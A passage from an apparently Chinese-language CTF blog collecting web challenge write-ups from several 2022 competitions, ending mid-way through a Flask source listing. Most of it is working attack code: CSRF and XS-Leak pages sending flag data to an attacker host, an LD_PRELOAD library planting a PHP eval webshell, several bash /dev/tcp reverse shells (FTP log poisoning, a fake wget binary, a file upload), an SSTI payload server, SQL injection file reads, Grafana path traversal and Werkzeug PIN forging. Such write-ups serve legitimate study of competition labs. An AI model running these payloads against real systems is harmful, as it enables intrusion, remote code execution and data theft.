SUSCTF web fxxkcors 登陆页面 需要normal admin 才能看到flag
猜测需要admin账号才能 提升普通用户为normal admin
根据 题目 可推 fuckcors 为 一个 跨域攻击
robot核心源码 bot 先登陆 admin用户然后会访问我们提交的url
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 const visit = async (browser, url) =>{ let site = process.env.FXXK_SITE ?? "" console .log(`[+]${opt.name} : ${url} ` ) let renderOpt = {...opt} try { const loginpage = await browser.newPage() await loginpage.goto(site) await loginpage.type("input[name=username]" , "admin" ) await loginpage.type("input[name=password]" , process.env.FXXK_ADMIN_PASS ?? "" ) await Promise .all([ loginpage.click('button[name=submit]' ), loginpage.waitForNavigation({waitUntil : 'networkidle0' , timeout : 2000 }) ]) await loginpage.goto("about:blank" ) await loginpage.close() const page = await browser.newPage() await page.goto(url, {waitUntil : 'networkidle0' , timeout : 2000 }) await delay(2000 ) console .log(await page.evaluate(() => document .documentElement.outerHTML)) }catch (e) { console .log(e) renderOpt.message = "error occurred" return renderOpt } renderOpt.message = "admin will view your report soon" return renderOpt }
解题思路:构造一个页面bot点后 自动填写表单 到change.php页面修改我们的账号为normal admin
用burp 生成的poc 需要修改表单 使之为正常的json数据 放在服务器上把地址提交bot 就成为normal admin了
1 2 3 4 5 6 7 8 9 10 11 12 13 <html > <body > <script > history.pushState('' , '' , '/' ) </script > <form action ="http://124.71.205.122:10002/changeapi.php" method ="POST" enctype ="text/plain" > <input type ="hidden" name ='{"username":"l1aoo","test":"' value ='test"}' /> <input type ="submit" value ="Submit request" /> </form > <script > document .forms[0 ].submit(); </script > </body > </html >
flag:SUSCTF{fxxK_4h3_c0Rs_oUt}
ez_note 和 fxxkcors 极其相似的bot源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 const visit = async (browser, path) =>{ let site = process.env.NOTE_SITE ?? "" let url = new URL(path, site) console .log(`[+]${opt.name} : ${url} ` ) let renderOpt = {...opt} try { const loginpage = await browser.newPage() await loginpage.goto( site+"/signin" ) await loginpage.type("input[name=username]" , "admin" ) await loginpage.type("input[name=password]" , process.env.NOTE_ADMIN_PASS) await Promise .all([ loginpage.click('button[name=submit]' ), loginpage.waitForNavigation({waitUntil : 'networkidle0' , timeout : 2000 }) ]) await loginpage.goto("about:blank" ) await loginpage.close() const page = await browser.newPage() await page.goto(url.href, {waitUntil : 'networkidle0' , timeout : 2000 }) await delay(5000 ) }catch (e) { console .log(e) renderOpt.message = "error occurred" return renderOpt } renderOpt.message = "admin will view your report soon" return renderOpt }
1 2 3 4 let url = new URL(path, site)
对网站进行一番测试后,发现没有xxs等漏洞
在 search地方为get传参
经过测试发现,如果搜索结果为单一会进行一次跳转 跳转到详情页面
1 find only match, redirecting
如果搜索结果不单一则 则直接显示多条结果
javascript 知识点:open() 方法用于打开一个新的浏览器窗口或查找一个已命名的窗口。
Network Timing | XS-Leaks Wiki (xsleaks.dev)
尝试思路根据打开的页面不同时间也会不同 然而测试结果大差不差所以不能用来注入
查javascript的文档
1 2 3 4 5 6 7 8 Window 对象 Window 对象表示浏览器中打开的窗口。 如果文档包含框架(frame 或 iframe 标签),浏览器会为 HTML 文档创建一个 window 对象,并为每个框架创建一个额外的 window 对象。 History 对象 History 对象包含用户(在浏览器窗口中)访问过的 URL。 length 返回浏览器历史列表中的 URL 数量。
根据我上面说到的搜索结果的区别 会使 访问的url数量不一样,通过这个来进行注入
1 2 async函数 async函数是使用async关键字声明的函数。 async函数是AsyncFunction构造函数的实例, 并且其中允许使用await关键字。async和await关键字让我们可以用一种更简洁的方式写出基于Promise的异步行为,而无需刻意地链式调用promise。
python 启http服务 python3 -m http.server 11336
1 2 3 4 5 6 7 8 9 10 11 12 13 159.138.56.26 - - [28/Feb/2022 16:39:22] "GET /?url=SUSCTF{a_s HTTP/1.1" 200 - 159.138.56.26 - - [28/Feb/2022 16:40:19] "GET /?url=SUSCTF{a_sh HTTP/1.1" 200 - 159.138.56.26 - - [28/Feb/2022 16:40:37] "GET /?url=SUSCTF{a_sh0 HTTP/1.1" 200 - 159.138.56.26 - - [28/Feb/2022 16:40:59] "GET /?url=SUSCTF{a_sh0r HTTP/1.1" 200 - 159.138.56.26 - - [28/Feb/2022 16:41:17] "GET /?url=SUSCTF{a_sh0rt HTTP/1.1" 200 - 159.138.56.26 - - [28/Feb/2022 16:41:32] "GET /?url=SUSCTF{a_sh0rt_ HTTP/1.1" 200 - 159.138.56.26 - - [28/Feb/2022 16:41:51] "GET /?url=SUSCTF{a_sh0rt_f HTTP/1.1" 200 - 159.138.56.26 - - [28/Feb/2022 16:42:23] "GET /?url=SUSCTF{a_sh0rt_fl HTTP/1.1" 200 - 159.138.56.26 - - [28/Feb/2022 16:42:47] "GET /?url=SUSCTF{a_sh0rt_fl4 HTTP/1.1" 200 - 159.138.56.26 - - [28/Feb/2022 16:43:20] "GET /?url=SUSCTF{a_sh0rt_fl4g HTTP/1.1" 200 - 159.138.56.26 - - [28/Feb/2022 16:43:20] "GET /?url=SUSCTF{a_sh0rt_fl4g HTTP/1.1" 200 - 159.138.56.26 - - [28/Feb/2022 16:43:42] "GET /?url=SUSCTF{a_sh0rt_fl4g} HTTP/1.1" 200 -
poc: 改了改,一次还是只能注入一个字符,tcl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <html > <body > <script > async function asyncCall (char_flag ) { var win = open('http://123.60.29.171:10001/search?q=SUSCTF{a_sh0rt_fl4g' + char_flag); await new Promise (resolve => setTimeout (resolve, 2000 )); win.location = char_flag; await new Promise (resolve => setTimeout (resolve, 2000 )); var l = win.history.length; if (l !== 2 ) { var test = open("http://ip/?url=SUSCTF{a_sh0rt_fl4g" + char_flag); console .log(base_char); win.close(); } else { win.close(); } } async function exp ( ) { charss = "abcdefghigklmnopqrstuvwxyz0123456789_}" ; for (var i = 0 ; i < charss.length; i++) { asyncCall(charss[i]); } } exp(); </script > </body > </html >
flag:SUSCTF{a_sh0rt_fl4g}
HTML practice 1 2 3 4 5 6 7 𝘦𝘷𝘢𝘭((𝘤𝘩𝘳(61).𝘴𝘱𝘭𝘪𝘵(𝘤𝘩𝘳(61)).𝘱𝘰𝘱()).𝘫𝘰𝘪𝘯((𝘤𝘩𝘳(95)................))) % for a in range(上面一串): hh % endfor
flag:SUSCTF{34sY_mak0_w1th_EaSy_nAm3}
dvCTF web CyberStreak v1.0 [dvCTF](https://dvc.tf/challenges#CyberStreak v1.0-5)
前端没东西,好像不能注入,,,,迷惑,看起来又像注入。。。跑一下sqlmap?????????
模板?没东西。。。
看了题解回来补一下
有一个 flask-unsign 可以用来爆破密钥
1 2 3 4 5 6 7 8 9 10 PS C:\WINDOWS\system32> flask-unsign --unsign --cookie '.eJyrViotTi3KS8xNVbJSSixOwYqUagElLw7b.YjHUCw.i5qm9Q8AXPRpVXcLqhZkcSUcM7Q' [*] Session decodes to: {'username' : 'asdasdasdasdasdasdasdasd' } [*] No wordlist selected, falling back to default wordlist.. [*] Starting brute-forcer with 8 threads.. [*] Attempted (1920 ): -----BEGIN PRIVATE KEY-----lus [+] Found secret key after 15872 attemptsaeyda23a4d64 's3cr3t' PS C:\WINDOWS\system32> flask-unsign --sign --cookie "{'username': 'xXx-michel-xXx'}" --secret 's3cr3t' eyJ1c2VybmFtZSI6InhYeC1taWNoZWwteFh4In0.YjHWeA.l1cxzk_c979gFyGEFKoKrlFtRg4
伪造登陆拿到flag
UTCTF web Websockets? 想用python模拟 不会
直接改题目里面的js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 const WebSocket = require ('ws' );function checkPassword (num ) { const socket = new WebSocket("ws://" + "web1.utctf.live:8651" + "/internal/ws" ) socket.addEventListener('message' , (event ) => { if (event.data == "begin" ) { socket.send("begin" ); socket.send("user " + "admin" ) console .log("pass " + num) socket.send("pass " + num) } else if (event.data == "baduser" ) { console .log("baduser" ); socket.close() } else if (event.data == "badpass" ) { console .log("Incorrect PIN" ); socket.close() } else if (event.data.startsWith("session " )) { var cookie = "flask-session=" + event.data.replace("session " , "" ) + ";" ; console .log(num) console .log(cookie) socket.send("goodbye" ) socket.close() } else { console .log("Unknown error" ); socket.close() } }) } for (var i = 700 ;i<1000 ;i++){ checkPassword(i) }
跑出密码登陆获得flag
HTML2PDF 任意文件读取
1 2 3 4 5 6 7 8 9 10 11 12 <script>function load (name ) { let xhr = new XMLHttpRequest(), okStatus = document .location.protocol === "file:" ? 0 : 200 ; xhr.open('GET' , name, false ); xhr.overrideMimeType("text/html;charset=utf-8" ); xhr.send(null ); return xhr.status === okStatus ? xhr.responseText : null ; } let text = load("/usr/local/app/app.js" ); console .log(text); document .write(); </script>
读到
WeakPasswordAdmin 爆破一下密码登陆拿到flag
zer0pts CTF 2022 web Disco Party 非预期:
1 http://party.ctf.zer0pts.com:8007/post/<string(length=16):id># 你的vps
wp:Disco Party/Festival - zer0pts CTF 2022 - HackMD
HFCTF web太难了,,哦不我太菜了,学的东西太浅了,赛后复现一下
ezphp 以为要跟dash,,,,想了下上传so,,但是session有杂的东西,,,,nginx post 会在 /proc/pid/fd/fd 下生成临时文件、、、学到了
贴几个链接https://tttang.com/archive/1384/ 环境变量 ld_preload = /proc/$nginx_work_pid/fd/$fd
1 2 3 4 5 6 7 8 9 10 11 #include <stdlib.h> #include <stdio.h> #include <string.h> void payload () { system("echo '<?php @eval($_POST[1]);?>' > /var/www/html/shell.php" ); } int geteuid () {if (getenv("LD_PRELOAD" ) == NULL ) { return 0 ; }unsetenv("LD_PRELOAD" ); payload(); }
1 2 gcc -c -fPIC hack.c -o hack gcc -shared hack -o hack.so
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import threading, requests, sys, timeurl_target = f'http://1.14.71.254:28644/index.php' nginx_workers = [12 ,13 ,14 ,15 ,16 ,17 ,18 ,19 ,20 ,21 ,22 ,23 ,24 ,25 ,26 ,27 ] flag = False def upload (): global flag print('[+] starting upload' ) with open ("hack.so" ,"rb" ) as f: data = f.read() while not flag: requests.get(url = url_target,data=data) def exp (pid ): global flag while not flag: print(f'[+] brute loop restarted: {pid} ' ) for fd in range (4 , 32 ): try : requests.get(url = url_target, params = {'env' : f"LD_PRELOAD=/proc/{pid} /fd/{fd} " }) except : pass def check (): global flag while not flag: print('[+] starting check' ) try : r = requests.get("http://1.14.71.254:28644/shell.php" ) print(r.status_code == 200 ) if r.status_code == 200 : flag = True sys.exit() except : pass time.sleep(3 ) t3 = threading.Thread(target = check) t3.start() for _ in range (16 ): t1 = threading.Thread(target = upload) t1.start() for pid in nginx_workers: t2 = threading.Thread(target = exp,args = (pid, )) t2.start()
RITSEC CTF Web all kill
web php1 替换为空 构造https://ctf.ritsec.club/php1/index.php?bingus=binbingusgus
RS{B1ngus_0ur_B3lov3d}
php2 去掉 __sleep 构造序列化 Cookie user=O%3A4%3A%22User%22%3A1%3A%7Bs%3A4%3A%22role%22%3Bs%3A5%3A%22Admin%22%3B%7D
RS{C3re4l_B1ngu5}
php3 哈希碰撞https://ctf.ritsec.club/php3/index.php?input1[]=1&input2[]=2 RS{Th3_H@sh_Sl1ng1ng_5lash3r}
RITSEC calculator jsfuck debug得到源码 RS{ESOTERIC_GUAVA_SCRIPT}
Really Cool Encryption fuzz rce
提nm RCE后看一下dockerfile pull一下那个镜像 run一下给flag???? RS{CHANDI_HEADREST}
Down the Data Streams 给的数据是十六进制,跑下来拼一下是图片就是flag
不知道有没有好方法,只能硬跑14420次交互,服务器在境外还跑得贼nm慢
Bingus Access fuzz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 GET /bingus-access/index.php?file=%2fvar%2flog%2fvsftpd%2elog HTTP/2 Host: ctf.ritsec.club HTTP/2 200 OK Content-Type: text/html; charset=UTF-8 Date: Sun, 03 Apr 2022 09:33:37 GMT Server: Caddy Server: Apache/2.4.25 (Debian) Vary: Accept-Encoding X-Powered-By: PHP/7.2.1 Content-Length: 1536 Sun Apr 3 09:33:36 2022 [pid 87684] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149" Sun Apr 3 09:33:36 2022 [pid 87686] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149" Sun Apr 3 09:33:36 2022 [pid 87664] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149" Sun Apr 3 09:33:36 2022 [pid 87666] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149" Sun Apr 3 09:33:36 2022 [pid 87690] CONNECT: Client "::ffff:89.64.40.149" Sun Apr 3 09:33:36 2022 [pid 87668] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149" Sun Apr 3 09:33:36 2022 [pid 87672] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149" Sun Apr 3 09:33:36 2022 [pid 87670] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149" Sun Apr 3 09:33:36 2022 [pid 87658] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149" Sun Apr 3 09:33:36 2022 [pid 87674] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149" Sun Apr 3 09:33:36 2022 [pid 87676] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
用户名可控 跑个脚本,把shell弹出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from ftplib import FTPip = 'ctf.ritsec.club' port = 2121 def test_ftp (): ftp=FTP() ftp.connect(ip,port) ftp.login('<?php system("bash -c \'exec bash -i &>/dev/tcp/ip/port <&1\'");?>' ,"123" ) files = ftp.dir () if __name__ == '__main__' : i = 1 while True : i = i + 1 print(i) try : test_ftp() except : pass
HackPack 2022 web TupleCoin source 看robots.txt 有一个back
核心代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 class Transaction (BaseModel ): from_acct: int to_acct: int num_tuco: float def serialize (self ) -> bytes: return (str (self.from_acct) + str (self.to_acct) + str (self.num_tuco)).encode() def sign (self, secret_key: bytes ) -> AuthenticatedTransaction: tuco_smash = self.serialize() tuco_hash = hmac.new(secret_key, tuco_smash, "sha256" ).hexdigest() return CertifiedTransaction.parse_obj({ "transaction" : { "from_acct" : self.from_acct, "to_acct" : self.to_acct, "num_tuco" : self.num_tuco }, "auth_tag" : tuco_hash, }) class CertifiedTransaction (BaseModel ): transaction: Transaction auth_tag: str def verify (self, secret_key: bytes ) -> Transaction: recreated = self.transaction.sign(secret_key) if hmac.compare_digest(self.auth_tag, recreated.auth_tag): return self.transaction else : raise ValueError("invalid authenticated transaction" ) @app.post("/api/transaction/certify" ) async def transaction_certify (transaction: Transaction ) -> CertifiedTransaction: if transaction.from_acct == TUCO_ACCT_NUM: raise HTTPException(status_code=400 , detail="Ha! You think you can steal from Tuco so easily?!!" ) return transaction.sign(SECRET_KEY) @app.post("/api/transaction/commit" ) async def transaction_commit (certified_transaction: CertifiedTransaction ) -> str: transaction = certified_transaction.verify(SECRET_KEY) if transaction.from_acct != TUCO_ACCT_NUM: return "OK" else : return FLAG
重点在 def serialize(self) -> bytes:
这个函数上 没有分隔,可以拼接parm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import hmacSECRET_KEY = b'\x07\xd8\xc1\xef\xd0\xc1=\xc0\xf8\xdeJ\x114\x83G\x08C\xe1m\xbdX5~\xac\x95V\xd1p\x7f-SV' class Transaction (): from_acct:int to_acct:int num_tuco:int def __init__ (self, from_acct, to_acct, num_tuco ): self.from_acct = from_acct self.to_acct = to_acct self.num_tuco = num_tuco def serialize (self ) -> bytes: return (str (self.from_acct) + str (self.to_acct) + str (self.num_tuco)).encode() def sign (self ): tuco_smash = self.serialize() tuco_hash = hmac.new(SECRET_KEY, tuco_smash, "sha256" ).hexdigest() return tuco_hash transaction = Transaction(31415926 ,51 ,1 ) print(transaction.sign()) transaction2 = Transaction(314159265 ,1 ,1 ) print(transaction2.sign()) print(transaction.sign() == transaction2.sign())
输出
1 2 3 e7ce89169c2204aed4fb8ebe29ff3792b84d910e5fffe5acca943576a03382cc e7ce89169c2204aed4fb8ebe29ff3792b84d910e5fffe5acca943576a03382cc True
由此可以构造http包
1 2 3 4 5 6 POST /api/transaction/certify HTTP/2Host : tuplecoin.cha.hackpack.clubContent-Length : 48Content-Type : application/json; charset=UTF-8{"from_acct":31415926,"to_acct":51,"num_tuco":1}
返回
1 2 3 4 5 6 7 HTTP/2 200 OK Content-Type : application/jsonDate : Wed, 13 Apr 2022 11:30:15 GMTServer : uvicornContent-Length : 144{"transaction":{"from_acct":31415926,"to_acct":51,"num_tuco":1.0},"auth_tag":"90621b5820be300662123ceccdeab62f9fb2c5957e630e0c8da555295ea3c137"}
再构造
1 2 3 4 5 6 POST /api/transaction/commit HTTP/2Host : tuplecoin.cha.hackpack.clubContent-Length : 144Content-Type : application/json; charset=UTF-8{"transaction":{"from_acct":314159265,"to_acct":1,"num_tuco":1.0},"auth_tag":"90621b5820be300662123ceccdeab62f9fb2c5957e630e0c8da555295ea3c137"}
拿到flag
*CTF [web]babyweb 简单的跳转,,,刚开始没考虑端口,,无语
exp
1 2 3 4 5 6 7 <?php function redirect ($url ) { header("Location: $url " ); exit (); } redirect('http://127.0.0.1:8089/flag' );
放公网上然后提交对应url,访问返回的download/xxxxx 拿到flag
1 *ctf{A_Easy_SSRF_YOU_KNOW}
[web]oh-my-grafana CVE-2021-43798 任意文件读取
读 /etc/grafana/grafana.ini 读取grafana 的默认密码
admin_password = 5f989714e132c9b04d4807dafeb10ade
可以注入
可以执行任意sql语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /api/ds/query HTTP/1.1Host : 123.60.66.194:3000Content-Length : 156accept : application/json, text/plain, */*x-grafana-org-id : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36content-type : application/jsonOrigin : http://123.60.66.194:3000Referer : http://123.60.66.194:3000/explore?orgId=1&left=%5B%22now-1h%22,%22now%22,%22MySQL%22,%7B%22refId%22:%22A%22,%22format%22:%22time_series%22,%22timeColumn%22:%22time%22,%22metricColumn%22:%22none%22,%22group%22:%5B%5D,%22where%22:%5B%7B%22type%22:%22macro%22,%22name%22:%22$__timeFilter%22,%22params%22:%5B%5D%7D%5D,%22select%22:%5B%5B%7B%22type%22:%22column%22,%22params%22:%5B%22value%22%5D%7D%5D%5D,%22rawQuery%22:true,%22rawSql%22:%22SELECT%201;%5Cn%22%7D%5DAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : grafana_session=afb5489f3febd540690500b9a60ed890Connection : close{"queries":[{"refId":"A","datasourceId":1,"rawSql":"select * from fffffflllllllllaaaagggggg","format":"table"}],"from":"1650100891845","to":"1650104491845"}
翻库找到flag
1 *ctf{Upgrade_your_grafAna_now!}
[misc]Grey 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import osimport binasciiimport structcrcbp = open ("useforcheck.png" , "rb" ).read() for i in range (2000 ): for j in range (2000 ): data = crcbp[12 :16 ] + \ struct.pack('>i' , i)+struct.pack('>i' , j)+crcbp[24 :29 ] crc32 = binascii.crc32(data) & 0xffffffff if (crc32 == 0xa7b63550 ): print(i, j) print('hex:' , hex (i), hex (j))
跑一下长宽
中间一段flag用010打开在文件末尾……
1 *CTF{Catch_m3_1F_y0u_cAn}
[web]oh-my-notepro http://172.21.198.90:5002/view?note_id=ulcojp87kj7zdh5982couboqnk6rgst2%27
存在sql注入
报错得到部分源码
1 2 3 sql = f"select * from notes where note_id='{note_id} '" print(sql) result = db.session.execute(sql, params={"multi" :True })
http://172.21.198.90:5002/view?note_id=1' union select 1,2,3,'{{7*7}}',123132123;%23
执行任意sql语句并返回结果
payload:
1 2 3 4 5 6 7 8 http://172.21.198.90:5002/view?note_id=1' union select 1,2,3,4,(select group_concat(table_name) from information_schema.tables where table_schema=database());CREATE TABLE IF NOT EXISTS `kxytest2` ( `name` TEXT );load data local infile "C:\\Windows\\win.ini" into table kxytest2 FIELDS TERMINATED BY '\n';%23 http://172.21.198.90:5002/view?note_id=1' union select 1,2,3,4,(select group_concat(name) from kxytest2);%23
任意文件读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsfrom bs4 import BeautifulSoupimport randomimport stringheaders = { 'Cookie' :'session=eyJjc3JmX3Rva2VuIjoiOWJjZTdhNWNlNTEyNjJmNzY4N2RjNWU2ZGZhMzYyMWY2ZTU5NTNlNiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.Yl6Xag.U0Md2fed8ubb4rxB45J0y6DJ0R0' } def get_content (filename ): print("[+]readfile: " + filename) ran_str = '' .join(random.sample(string.ascii_letters + string.digits, 8 )) print("[+]table: " + ran_str) url = f"""http://172.21.198.90:5002/view?note_id=1';CREATE TABLE IF NOT EXISTS `{ran_str} ` ( `name` TEXT );load data local infile "{filename} " into table {ran_str} FIELDS TERMINATED BY '\n';%23""" r = requests.get(url,headers=headers) url = f"""http://172.21.198.90:5002/view?note_id=1' union select 1,2,3,4,(select group_concat(name) from {ran_str} );%23""" r = requests.get(url,headers=headers) soup = BeautifulSoup(r.text, 'lxml' ) print("[+]result: " + soup.find('h1' ,attrs={'style' : 'text-align: center' }).string) get_content('/etc/machine-id' ) get_content('/proc/sys/kernel/random/boot_id' ) get_content('/proc/self/cgroup' ) get_content('/sys/class/net/eth0/address' )
算pin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import hashlibfrom itertools import chaindef solve (username, eth0, machine_id, cgroup ): probably_public_bits = [ username, 'flask.app' , 'Flask' '/usr/local/lib/python3.8/site-packages/flask/app.py' ] private_bits = [ eth0, machine_id + cgroup ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print(rv) solve('ctf' ,str (int ('02:42:ac:14:00:03' .replace(':' ,'' ),16 )),'96cec10d3d9307792745ec3b85c89620' ,'79804164df902a6bc925fb7d70a6e3b857c9a4af0e2c2d78a49b7c1954d9d078' )
然后执行命令
[web]oh-my-lotto 先预测一下,然后改PATH 让wget command not found 这样就不会下载新的result
然后去result看一下上一次预测的字符串 上传一个一模一样的就行了
注意这里的文本用rb打开 字符串换行是\n
而在window上编辑换行是\r\n
所以这里我用python二进制写入文本
[web]oh-my-lotto-revenge 覆写模板 SSTI RCE 上传文件
1 2 3 http_proxy = you_vps_ip:18181 referer = http://ssti_me/ output_document = /app/templates/index.html
设置环境变量 WGETRC = /app/guess/forecast.txt
刚刚上传的文件
这样相当于给wget设置一个代理
让wget下载我们可控的文件 文件内容
服务器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import socketHOST = '0.0.0.0' PORT = 18181 content_ssti = r'''HTTP/1.0 200 OK Content-type: text/x-python Content-Length: 249 Content-Disposition: attachment; filename=index.html {{(x|attr(request.cookies.w1)|attr(request.cookies.w2)|attr(request.cookies.w3))(request.cookies.w4).eval(request.cookies.w5)}} ''' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((HOST, PORT)) sock.listen(100 ) while True : conn, addr = sock.accept() request = conn.recv(1024 ).decode() print(request) if 'ssti' in request: conn.sendall(content_ssti.encode()) else : pass conn.close()
覆写ssti
携带cookie访问主页
1 Cookie:w1=__init__;w2=__globals__;w3=__getitem__;w4=__builtins__;w5=__import__('os').popen('任意命令').read()
执行env得到flag
也可以直接覆写wget 修改wget来RCE rce.c
1 2 3 4 5 6 #include <stdlib.h> #include <stdio.h> #include <string.h> void main () { system("bash -c 'exec bash -i &>/dev/tcp/ip/11011 <&1'" ); }
1 2 3 4 gcc -E rce.c -o rce.i gcc -S rce.i -o rce.s gcc -c rce.s -o rce.o gcc rce.o -o wget
然后服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import socketHOST = '0.0.0.0' PORT = 18181 content_ssti = rf"""HTTP/1.0 200 OK Content-type: text/x-python Content-Length: {len ((open ('./wget' ,'rb' ).read()))} Content-Disposition: attachment; filename=wget """ fuck_content = r''' HTTP/1.0 200 OK Content-type: text/x-python Content-Length: 11 fuck you!!! ''' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((HOST, PORT)) sock.listen(100 ) while True : conn, addr = sock.accept() request = conn.recv(1024 ).decode() print(request) if 'ssti' in request: conn.sendall(content_ssti.encode()) fo = open ('./wget' ,'rb' ) while True : filedata = fo.read(1024 ) if not filedata: break conn.send(filedata) fo.close() else : conn.sendall(fuck_content.encode()) conn.close()
MRCTF [WEB]webcheckin 上了波车,拿到源码审计一下
此处会执行我们的上传的php代码(root权限)
1 a = subprocess.Popen(["php -dvld.verbosity=1 -dvld.active=1 -dvld.execute=1 " + each_filepath],
弹个shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST / HTTP/1.1 Host: webshell.node3.mrctf.fun Content-Length: 279 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://webshell.node3.mrctf.fun Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytALBjmF5CJrH78jB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://webshell.node3.mrctf.fun/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundarytALBjmF5CJrH78jB Content-Disposition: form-data; name="file"; filename="test45072.php" Content-Type: application/octet-stream <?php system("bash -c 'exec bash -i &>/dev/tcp/ip/11011 <&1'");?> ------WebKitFormBoundarytALBjmF5CJrH78jB--
翻日志找到flag
1 2 3 4 root@cb961d9e7cf3:/var/log# grep -rn "MRCTF" . grep -rn "MRCTF" . ./dpkg.log:1881:MRCTF{3f1d6ea4-d544-46f8-ba7c-cfcd0efa31ae}
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 from flask import Flask, requestfrom werkzeug.utils import secure_filename import randomimport hashlibimport shutilimport subprocessimport pickleimport pandas as pdimport os,statimport reUPLOAD_FOLDER = r'/tmp/upload/' ALLOWED_EXTENSIONS = set (['php' ]) app = Flask(__name__) app.config['UPLOAD_FOLDER' ] = UPLOAD_FOLDER with open ('/tmp/vec-model.pkl' , "rb" ) as file: vectorizer = pickle.load(file)with open ('/tmp/rfc-model.pkl' , "rb" ) as file: rfc = pickle.load(file)RD, WD, XD = 4 , 2 , 1 BNS = [RD, WD, XD] MDS = [ [stat.S_IRUSR, stat.S_IRGRP, stat.S_IROTH], [stat.S_IWUSR, stat.S_IWGRP, stat.S_IWOTH], [stat.S_IXUSR, stat.S_IXGRP, stat.S_IXOTH] ] def chmod (path, mode ): if isinstance (mode, int ): mode = str (mode) if not re.match("^[0-7]{1,3}$" , mode): raise Exception("mode does not conform to ^[0-7]{1,3}$ pattern" ) mode = "{0:0>3}" .format (mode) mode_num = 0 for midx, m in enumerate (mode): for bnidx, bn in enumerate (BNS): if (int (m) & bn) > 0 : mode_num += MDS[bnidx][midx] os.chmod(path, mode_num) def index_of_str (s1, s2 ): res = [] len1 = len 